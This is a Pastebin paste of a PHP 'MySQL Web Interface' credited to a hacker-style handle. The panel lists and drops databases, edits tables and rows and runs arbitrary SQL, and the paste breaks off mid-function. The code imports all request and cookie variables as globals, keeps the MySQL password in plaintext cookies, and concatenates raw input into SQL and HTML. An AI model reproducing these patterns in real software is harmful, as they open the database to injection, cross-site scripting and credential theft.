Guest User

Untitled

a guest
Nov 1st, 2012
2,466
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?
  2. /*
  3. * MySQL Web Interface By JIKo
  4. * -------------------------------
  5. * Developed By sNiper_hEx
  6. */
  7.  
  8. if ( function_exists('ini_get') ) {
  9. $onoff = ini_get('register_globals');
  10. } else {
  11. $onoff = get_cfg_var('register_globals');
  12. }
  13. if ($onoff != 1) {
  14. @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  15. @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  16. @extract($HTTP_POST_FILES, EXTR_SKIP);
  17. @extract($HTTP_POST_VARS, EXTR_SKIP);
  18. @extract($HTTP_GET_VARS, EXTR_SKIP);
  19. @extract($HTTP_ENV_VARS, EXTR_SKIP);
  20. }
  21.  
  22. function logon() {
  23. global $PHP_SELF;
  24.  
  25. setcookie( "mysql_web_admin_username" );
  26. setcookie( "mysql_web_admin_password" );
  27. setcookie( "mysql_web_admin_hostname" );
  28. echo "<html>\n";
  29. echo "<head>\n";
  30. echo "<title>MySQL New by jiko</title>\n";
  31. echo "</head>\n";
  32. echo "<body>\n";
  33. echo "<table width=100% height=100%><tr><td><center>\n";
  34. echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>\n";
  35. echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
  36. echo "<h1>MySQL Web by jiko</h1>\n";
  37. echo "<form action='$PHP_SELF'>\n";
  38. echo "<input type=hidden name=action value=logon_submit>\n";
  39. echo "<table cellpadding=5 cellspacing=1>\n";
  40. echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  41. echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  42. echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  43. echo "</table><p>\n";
  44. echo "<input type=submit value='Enter'>\n";
  45. echo "<input type=reset value='Clear'><br>\n";
  46. echo "</form>\n";
  47. echo "</center></td></tr></table>\n";
  48. echo "</center></td></tr></table>\n";
  49. echo "<p><hr width=300>\n";
  50. echo "</center></td></tr></table>\n";
  51. echo "</body>\n";
  52. echo "</html>\n";
  53. }
  54.  
  55. function logon_submit() {
  56. global $username, $password, $hostname ,$PHP_SELF;
  57. if($hostname =='')
  58. $hostname = 'localhost';
  59. setcookie( "mysql_web_admin_username", $username );
  60. setcookie( "mysql_web_admin_password", $password );
  61. setcookie( "mysql_web_admin_hostname", $hostname );
  62. echo "<html>";
  63. echo "<head>";
  64. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
  65. echo "</head>";
  66. echo "</html>";
  67. }
  68.  
  69. function echoQueryResult() {
  70. global $queryStr, $errMsg;
  71.  
  72. if( $errMsg == "" ) $errMsg = "Success";
  73. if( $queryStr != "" ) {
  74. echo "<table cellpadding=5>\n";
  75. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  76. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  77. echo "</table><p>\n";
  78. }
  79. }
  80.  
  81. function listDatabases() {
  82. global $mysqlHandle, $PHP_SELF;
  83.  
  84. echo "<h1>Databases List</h1>\n";
  85.  
  86. echo "<form action='$PHP_SELF'>\n";
  87. echo "<input type=hidden name=action value=createDB>\n";
  88. echo "<input type=text name=dbname>\n";
  89. echo "<input type=submit value='Create Database'>\n";
  90. echo "</form>\n";
  91. echo "<hr>\n";
  92.  
  93. echo "<table cellspacing=1 cellpadding=5>\n";
  94.  
  95. $pDB = mysql_list_dbs( $mysqlHandle );
  96. $num = mysql_num_rows( $pDB );
  97. for( $i = 0; $i < $num; $i++ ) {
  98. $dbname = mysql_dbname( $pDB, $i );
  99. echo "<tr>\n";
  100. echo "<td>$dbname</td>\n";
  101. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  102. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  103. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  104. echo "</tr>\n";
  105. }
  106. echo "</table>\n";
  107. }
  108.  
  109. function createDatabase() {
  110. global $mysqlHandle, $dbname, $PHP_SELF;
  111.  
  112. mysql_create_db( $dbname, $mysqlHandle );
  113. listDatabases();
  114. }
  115.  
  116. function dropDatabase() {
  117. global $mysqlHandle, $dbname, $PHP_SELF;
  118.  
  119. mysql_drop_db( $dbname, $mysqlHandle );
  120. listDatabases();
  121. }
  122.  
  123. function listTables() {
  124. global $mysqlHandle, $dbname, $PHP_SELF;
  125.  
  126.  
  127. echo "<h1>Tables List</h1>\n";
  128. echo "<p class=location>$dbname</p>\n";
  129. echoQueryResult();
  130. echo "<form action='$PHP_SELF'>\n";
  131. echo "<input type=hidden name=action value=createTable>\n";
  132. echo "<input type=hidden name=dbname value=$dbname>\n";
  133. echo "<input type=text name=tablename>\n";
  134. echo "<input type=submit value='Create Table'>\n";
  135. echo "</form>\n";
  136. echo "<form action='$PHP_SELF'>\n";
  137. echo "<input type=hidden name=action value=query>\n";
  138. echo "<input type=hidden name=dbname value=$dbname>\n";
  139. echo "<input type=text size=120 name=queryStr>\n";
  140. echo "<input type=submit value='Query'>\n";
  141. echo "</form>\n";
  142. echo "<hr>\n";
  143.  
  144. $pTable = mysql_list_tables( $dbname );
  145.  
  146. if( $pTable == 0 ) {
  147. $msg = mysql_error();
  148. echo "<h3>Error : $msg</h3><p>\n";
  149. return;
  150. }
  151. $num = mysql_num_rows( $pTable );
  152.  
  153. echo "<table cellspacing=1 cellpadding=5>\n";
  154.  
  155. for( $i = 0; $i < $num; $i++ ) {
  156. $tablename = mysql_tablename( $pTable, $i );
  157.  
  158. echo "<tr>\n";
  159. echo "<td>\n";
  160. echo "$tablename\n";
  161. echo "</td>\n";
  162. echo "<td>\n";
  163. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  164. echo "</td>\n";
  165. echo "<td>\n";
  166. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  167. echo "</td>\n";
  168. echo "<td>\n";
  169. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  170. echo "</td>\n";
  171. echo "<td>\n";
  172. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  173. echo "</td>\n";
  174. echo "</tr>\n";
  175. }
  176.  
  177. echo "</table>";
  178. }
  179.  
  180. function createTable() {
  181. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  182.  
  183. $queryStr = "CREATE TABLE $tablename ( no INT )";
  184. mysql_select_db( $dbname, $mysqlHandle );
  185. mysql_query( $queryStr, $mysqlHandle );
  186. $errMsg = mysql_error();
  187.  
  188. listTables();
  189. }
  190.  
  191. function dropTable() {
  192. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  193.  
  194. $queryStr = "DROP TABLE $tablename";
  195. mysql_select_db( $dbname, $mysqlHandle );
  196. mysql_query( $queryStr, $mysqlHandle );
  197. $errMsg = mysql_error();
  198.  
  199. listTables();
  200. }
  201.  
  202. function viewSchema() {
  203. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  204.  
  205. echo "<h1>Table Schema</h1>\n";
  206. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  207.  
  208. echoQueryResult();
  209.  
  210. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  211. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  212. echo "<hr>\n";
  213.  
  214. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  215. $num = mysql_num_rows( $pResult );
  216.  
  217. echo "<table cellspacing=1 cellpadding=5>\n";
  218. echo "<tr>\n";
  219. echo "<th>Field</th>\n";
  220. echo "<th>Type</th>\n";
  221. echo "<th>Null</th>\n";
  222. echo "<th>Key</th>\n";
  223. echo "<th>Default</th>\n";
  224. echo "<th>Extra</th>\n";
  225. echo "<th colspan=2>Action</th>\n";
  226. echo "</tr>\n";
  227.  
  228.  
  229. for( $i = 0; $i < $num; $i++ ) {
  230. $field = mysql_fetch_array( $pResult );
  231. echo "<tr>\n";
  232. echo "<td>".$field["Field"]."</td>\n";
  233. echo "<td>".$field["Type"]."</td>\n";
  234. echo "<td>".$field["Null"]."</td>\n";
  235. echo "<td>".$field["Key"]."</td>\n";
  236. echo "<td>".$field["Default"]."</td>\n";
  237. echo "<td>".$field["Extra"]."</td>\n";
  238. $fieldname = $field["Field"];
  239. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  240. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  241. echo "</tr>\n";
  242. }
  243. echo "</table>\n";
  244.  
  245. }
  246.  
  247. function manageField( $cmd ) {
  248. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  249.  
  250. if( $cmd == "add" )
  251. echo "<h1>Add Field</h1>\n";
  252. else if( $cmd == "edit" ) {
  253. echo "<h1>Edit Field</h1>\n";
  254. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  255. $num = mysql_num_rows( $pResult );
  256. for( $i = 0; $i < $num; $i++ ) {
  257. $field = mysql_fetch_array( $pResult );
  258. if( $field["Field"] == $fieldname ) {
  259. $fieldtype = $field["Type"];
  260. $fieldkey = $field["Key"];
  261. $fieldextra = $field["Extra"];
  262. $fieldnull = $field["Null"];
  263. $fielddefault = $field["Default"];
  264. break;
  265. }
  266. }
  267. $type = strtok( $fieldtype, " (,)\n" );
  268. if( strpos( $fieldtype, "(" ) ) {
  269. if( $type == "enum" | $type == "set" ) {
  270. $valuelist = strtok( " ()\n" );
  271. } else {
  272. $M = strtok( " (,)\n" );
  273. if( strpos( $fieldtype, "," ) )
  274. $D = strtok( " (,)\n" );
  275. }
  276. }
  277. }
  278.  
  279. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  280. echo "<form action=$PHP_SELF>\n";
  281.  
  282. if( $cmd == "add" )
  283. echo "<input type=hidden name=action value=addField_submit>\n";
  284. else if( $cmd == "edit" ) {
  285. echo "<input type=hidden name=action value=editField_submit>\n";
  286. echo "<input type=hidden name=old_name value=$fieldname>\n";
  287. }
  288. echo "<input type=hidden name=dbname value=$dbname>\n";
  289. echo "<input type=hidden name=tablename value=$tablename>\n";
  290.  
  291. echo "<h3>Name</h3>\n";
  292. echo "<input type=text name=name value=$fieldname><p>\n";
  293. echo '
  294.  
  295. <h3>Type</h3>
  296.  
  297. <font size=2>
  298. * `M\' indicates the maximum display size.<br>
  299. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  300. </font>
  301.  
  302. <table>
  303. <tr>
  304. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  305. </tr>
  306. <tr>
  307. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  308. <td align=center>O</td>
  309. <td>&nbsp</td>
  310. <td align=center>O</td>
  311. <td align=center>O</td>
  312. <td>&nbsp</td>
  313. </tr>
  314. <tr>
  315. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  316. <td align=center>O</td>
  317. <td>&nbsp</td>
  318. <td align=center>O</td>
  319. <td align=center>O</td>
  320. <td>&nbsp</td>
  321. </tr>
  322. <tr>
  323. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  324.  
  325. <td align=center>O</td>
  326. <td>&nbsp</td>
  327. <td align=center>O</td>
  328. <td align=center>O</td>
  329. <td>&nbsp</td>
  330. </tr>
  331. <tr>
  332. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  333. <td align=center>O</td>
  334. <td>&nbsp</td>
  335. <td align=center>O</td>
  336. <td align=center>O</td>
  337. <td>&nbsp</td>
  338. </tr>
  339. <tr>
  340. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  341. <td align=center>O</td>
  342. <td>&nbsp</td>
  343. <td align=center>O</td>
  344. <td align=center>O</td>
  345. <td>&nbsp</td>
  346. </tr>
  347. <tr>
  348. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  349. <td align=center>O</td>
  350. <td align=center>O</td>
  351. <td>&nbsp</td>
  352. <td align=center>O</td>
  353. <td>&nbsp</td>
  354. </tr>
  355. <tr>
  356. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  357. <td align=center>O</td>
  358. <td align=center>O</td>
  359. <td>&nbsp</td>
  360. <td align=center>O</td>
  361. <td>&nbsp</td>
  362. </tr>
  363. <tr>
  364. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  365. <td align=center>O</td>
  366. <td align=center>O</td>
  367. <td>&nbsp</td>
  368. <td align=center>O</td>
  369. <td>&nbsp</td>
  370. </tr>
  371. <tr>
  372. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  373. <td>&nbsp</td>
  374. <td>&nbsp</td>
  375. <td>&nbsp</td>
  376. <td>&nbsp</td>
  377. <td>&nbsp</td>
  378. </tr>
  379. <tr>
  380. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  381. <td>&nbsp</td>
  382. <td>&nbsp</td>
  383. <td>&nbsp</td>
  384. <td>&nbsp</td>
  385. <td>&nbsp</td>
  386. </tr>
  387. <tr>
  388. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  389. <td align=center>O</td>
  390. <td>&nbsp</td>
  391. <td>&nbsp</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. </tr>
  395. <tr>
  396. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  397. <td>&nbsp</td>
  398. <td>&nbsp</td>
  399. <td>&nbsp</td>
  400. <td>&nbsp</td>
  401. <td>&nbsp</td>
  402. </tr>
  403. <tr>
  404. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  405. <td>&nbsp</td>
  406. <td>&nbsp</td>
  407. <td>&nbsp</td>
  408. <td>&nbsp</td>
  409. <td>&nbsp</td>
  410. </tr>
  411. <tr>
  412. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  413. <td align=center>O</td>
  414. <td>&nbsp</td>
  415. <td>&nbsp</td>
  416. <td>&nbsp</td>
  417. <td align=center>O</td>
  418. </tr>
  419. <tr>
  420. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  421. <td align=center>O</td>
  422. <td>&nbsp</td>
  423. <td>&nbsp</td>
  424. <td>&nbsp</td>
  425. <td align=center>O</td>
  426. </tr>
  427. <tr>
  428. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  429. <td>&nbsp</td>
  430. <td>&nbsp</td>
  431. <td>&nbsp</td>
  432. <td>&nbsp</td>
  433. <td>&nbsp</td>
  434. </tr>
  435. <tr>
  436. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  437. <td>&nbsp</td>
  438. <td>&nbsp</td>
  439. <td>&nbsp</td>
  440. <td>&nbsp</td>
  441. <td>&nbsp</td>
  442. </tr>
  443. <tr>
  444. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  445. <td>&nbsp</td>
  446. <td>&nbsp</td>
  447. <td>&nbsp</td>
  448. <td>&nbsp</td>
  449. <td>&nbsp</td>
  450. </tr>
  451. <tr>
  452. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  453. <td>&nbsp</td>
  454. <td>&nbsp</td>
  455. <td>&nbsp</td>
  456. <td>&nbsp</td>
  457. <td>&nbsp</td>
  458. </tr>
  459. <tr>
  460. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  461. <td>&nbsp</td>
  462. <td>&nbsp</td>
  463. <td>&nbsp</td>
  464. <td>&nbsp</td>
  465. <td>&nbsp</td>
  466. </tr>
  467. <tr>
  468. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  469. <td>&nbsp</td>
  470. <td>&nbsp</td>
  471. <td>&nbsp</td>
  472. <td>&nbsp</td>
  473. <td>&nbsp</td>
  474. </tr>
  475. <tr>
  476. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  477. <td>&nbsp</td>
  478. <td>&nbsp</td>
  479. <td>&nbsp</td>
  480. <td>&nbsp</td>
  481. <td>&nbsp</td>
  482. </tr>
  483. <tr>
  484. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  485. <td>&nbsp</td>
  486. <td>&nbsp</td>
  487. <td>&nbsp</td>
  488. <td>&nbsp</td>
  489. <td>&nbsp</td>
  490. </tr>
  491. <tr>
  492. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  493. <td colspan=5><center>value list</center></td>
  494. </tr>
  495. <tr>
  496. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  497. <td colspan=5><center>value list</center></td>
  498. </tr>
  499.  
  500. </table>
  501. <table>
  502. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  503. <tr>
  504. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  505. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  506. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  507. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  508. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
  509. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  510. </tr>
  511. </table>
  512.  
  513.  
  514. <h3>Flags</h3>
  515. <table>
  516. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  517. <tr>
  518. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  519. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  520. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  521. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  522. </tr>
  523. </table>
  524.  
  525. <p>';
  526.  
  527. if( $cmd == "add" )
  528. echo "<input type=submit value='Add Field'>\n";
  529. else if( $cmd == "edit" )
  530. echo "<input type=submit value='Edit Field'>\n";
  531. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  532. echo "</form>\n";
  533. }
  534.  
  535. function manageField_submit( $cmd ) {
  536. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  537. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  538.  
  539. if( $cmd == "add" )
  540. $queryStr = "ALTER TABLE $tablename ADD $name ";
  541. else if( $cmd == "edit" )
  542. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  543.  
  544. if( $M != "" )
  545. if( $D != "" )
  546. $queryStr .= "$type($M,$D) ";
  547. else
  548. $queryStr .= "$type($M) ";
  549. else if( $valuelist != "" ) {
  550. $valuelist = stripslashes( $valuelist );
  551. $queryStr .= "$type($valuelist) ";
  552. } else
  553. $queryStr .= "$type ";
  554.  
  555. $queryStr .= "$unsigned $zerofill $binary ";
  556.  
  557. if( $default_value != "" )
  558. $queryStr .= "DEFAULT '$default_value' ";
  559.  
  560. $queryStr .= "$not_null $auto_increment";
  561.  
  562. mysql_select_db( $dbname, $mysqlHandle );
  563. mysql_query( $queryStr, $mysqlHandle );
  564. $errMsg = mysql_error();
  565.  
  566. // key change
  567. $keyChange = false;
  568. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  569. $primary = "";
  570. while( $row = mysql_fetch_array($result) )
  571. if( $row["Key_name"] == "PRIMARY" ) {
  572. if( $row[Column_name] == $name )
  573. $keyChange = true;
  574. else
  575. $primary .= ", $row[Column_name]";
  576. }
  577. if( $primary_key == "PRIMARY KEY" ) {
  578. $primary .= ", $name";
  579. $keyChange = !$keyChange;
  580. }
  581. $primary = substr( $primary, 2 );
  582. if( $keyChange == true ) {
  583. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  584. mysql_query( $q );
  585. $queryStr .= "<br>\n" . $q;
  586. $errMsg .= "<br>\n" . mysql_error();
  587. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  588. mysql_query( $q );
  589. $queryStr .= "<br>\n" . $q;
  590. $errMsg .= "<br>\n" . mysql_error();
  591. }
  592.  
  593. viewSchema();
  594. }
  595.  
  596. function dropField() {
  597. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  598.  
  599. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  600. mysql_select_db( $dbname, $mysqlHandle );
  601. mysql_query( $queryStr , $mysqlHandle );
  602. $errMsg = mysql_error();
  603.  
  604. viewSchema();
  605. }
  606.  
  607. function viewData( $queryStr ) {
  608. global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  609.  
  610. echo "<h1>Data in Table</h1>\n";
  611. if( $tablename != "" )
  612. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  613. else
  614. echo "<p class=location>$dbname</p>\n";
  615.  
  616. $queryStr = stripslashes( $queryStr );
  617. if( $queryStr == "" ) {
  618. $queryStr = "SELECT * FROM $tablename";
  619. if( $orderby != "" )
  620. $queryStr .= " ORDER BY $orderby";
  621. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  622. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  623. }
  624.  
  625. $pResult = mysql_db_query( $dbname, $queryStr );
  626. $fieldt = mysql_fetch_field($pResult);
  627. $tablename = $fieldt->table;
  628. $errMsg = mysql_error();
  629.  
  630. $GLOBALS[queryStr] = $queryStr;
  631.  
  632. if( $pResult == false ) {
  633. echoQueryResult();
  634. return;
  635. }
  636. if( $pResult == 1 ) {
  637. $errMsg = "Success";
  638. echoQueryResult();
  639. return;
  640. }
  641.  
  642. echo "<hr>\n";
  643.  
  644. $row = mysql_num_rows( $pResult );
  645. $col = mysql_num_fields( $pResult );
  646.  
  647. if( $row == 0 ) {
  648. echo "No Data Exist!";
  649. return;
  650. }
  651.  
  652. if( $rowperpage == "" ) $rowperpage = 30;
  653. if( $page == "" ) $page = 0;
  654. else $page--;
  655. mysql_data_seek( $pResult, $page * $rowperpage );
  656.  
  657. echo "<table cellspacing=1 cellpadding=2>\n";
  658. echo "<tr>\n";
  659. for( $i = 0; $i < $col; $i++ ) {
  660. $field = mysql_fetch_field( $pResult, $i );
  661. echo "<th>";
  662. if($action == "viewData")
  663. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  664. else
  665. echo "<font style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>\n";
  666. echo "</th>\n";
  667. }
  668. echo "<th colspan=2>Action</th>\n";
  669. echo "</tr>\n";
  670.  
  671. for( $i = 0; $i < $rowperpage; $i++ ) {
  672. $rowArray = mysql_fetch_row( $pResult );
  673. if( $rowArray == false ) break;
  674. echo "<tr>\n";
  675. $key = "";
  676. for( $j = 0; $j < $col; $j++ ) {
  677. $data = $rowArray[$j];
  678.  
  679. $field = mysql_fetch_field( $pResult, $j );
  680. if( $field->primary_key == 1 )
  681. $key .= "&" . $field->name . "=" . $data;
  682.  
  683. if( strlen( $data ) > 30 )
  684. $data = substr( $data, 0, 30 ) . "...";
  685. $data = htmlspecialchars( $data );
  686. echo "<td>\n";
  687. echo "$data\n";
  688. echo "</td>\n";
  689. }
  690.  
  691. if( $key == "" )
  692. echo "<td colspan=2>no Key</td>\n";
  693. else {
  694. echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  695. echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  696. }
  697. echo "</tr>\n";
  698. }
  699. echo "</table>\n";
  700.  
  701. echo "<font size=2>\n";
  702. if($action == "viewData")
  703. echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
  704. else
  705. echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  706. echo "<font color=green>\n";
  707. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  708. echo "</font>\n";
  709. echo " | ";
  710. if( $page > 0 ) {
  711. if($action == "viewData")
  712. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
  713. else
  714. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  715. if( $orderby != "" && $action == "viewData")
  716. echo "&orderby=$orderby";
  717. echo "'>Prev</a>\n";
  718. } else
  719. echo "Prev";
  720. echo " | ";
  721. if( $page < ($row/$rowperpage)-1 ) {
  722. if($action == "viewData")
  723. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
  724. else
  725. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  726. if( $orderby != "" && $action == "viewData")
  727. echo "&orderby=$orderby";
  728. echo "'>Next</a>\n";
  729. } else
  730. echo "Next";
  731. echo " | ";
  732. if( $row > $rowperpage ) {
  733. echo "<input type=text size=4 name=page>\n";
  734. echo "<input type=submit value='Go'>\n";
  735. }
  736. echo "</form>\n";
  737. echo "</font>\n";
  738. }
  739.  
  740. function manageData( $cmd ) {
  741. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  742.  
  743. if( $cmd == "add" )
  744. echo "<h1>Add Data</h1>\n";
  745. else if( $cmd == "edit" ) {
  746. echo "<h1>Edit Data</h1>\n";
  747. $pResult = mysql_list_fields( $dbname, $tablename );
  748. $num = mysql_num_fields( $pResult );
  749.  
  750. $key = "";
  751. for( $i = 0; $i < $num; $i++ ) {
  752. $field = mysql_fetch_field( $pResult, $i );
  753. if( $field->primary_key == 1 )
  754. if( $field->numeric == 1 )
  755. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  756. else
  757. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  758. }
  759. $key = substr( $key, 0, strlen($key)-4 );
  760.  
  761. mysql_select_db( $dbname, $mysqlHandle );
  762. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  763. $data = mysql_fetch_array( $pResult );
  764. }
  765.  
  766. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  767.  
  768. echo "<form action='$PHP_SELF' method=post>\n";
  769. if( $cmd == "add" )
  770. echo "<input type=hidden name=action value=addData_submit>\n";
  771. else if( $cmd == "edit" )
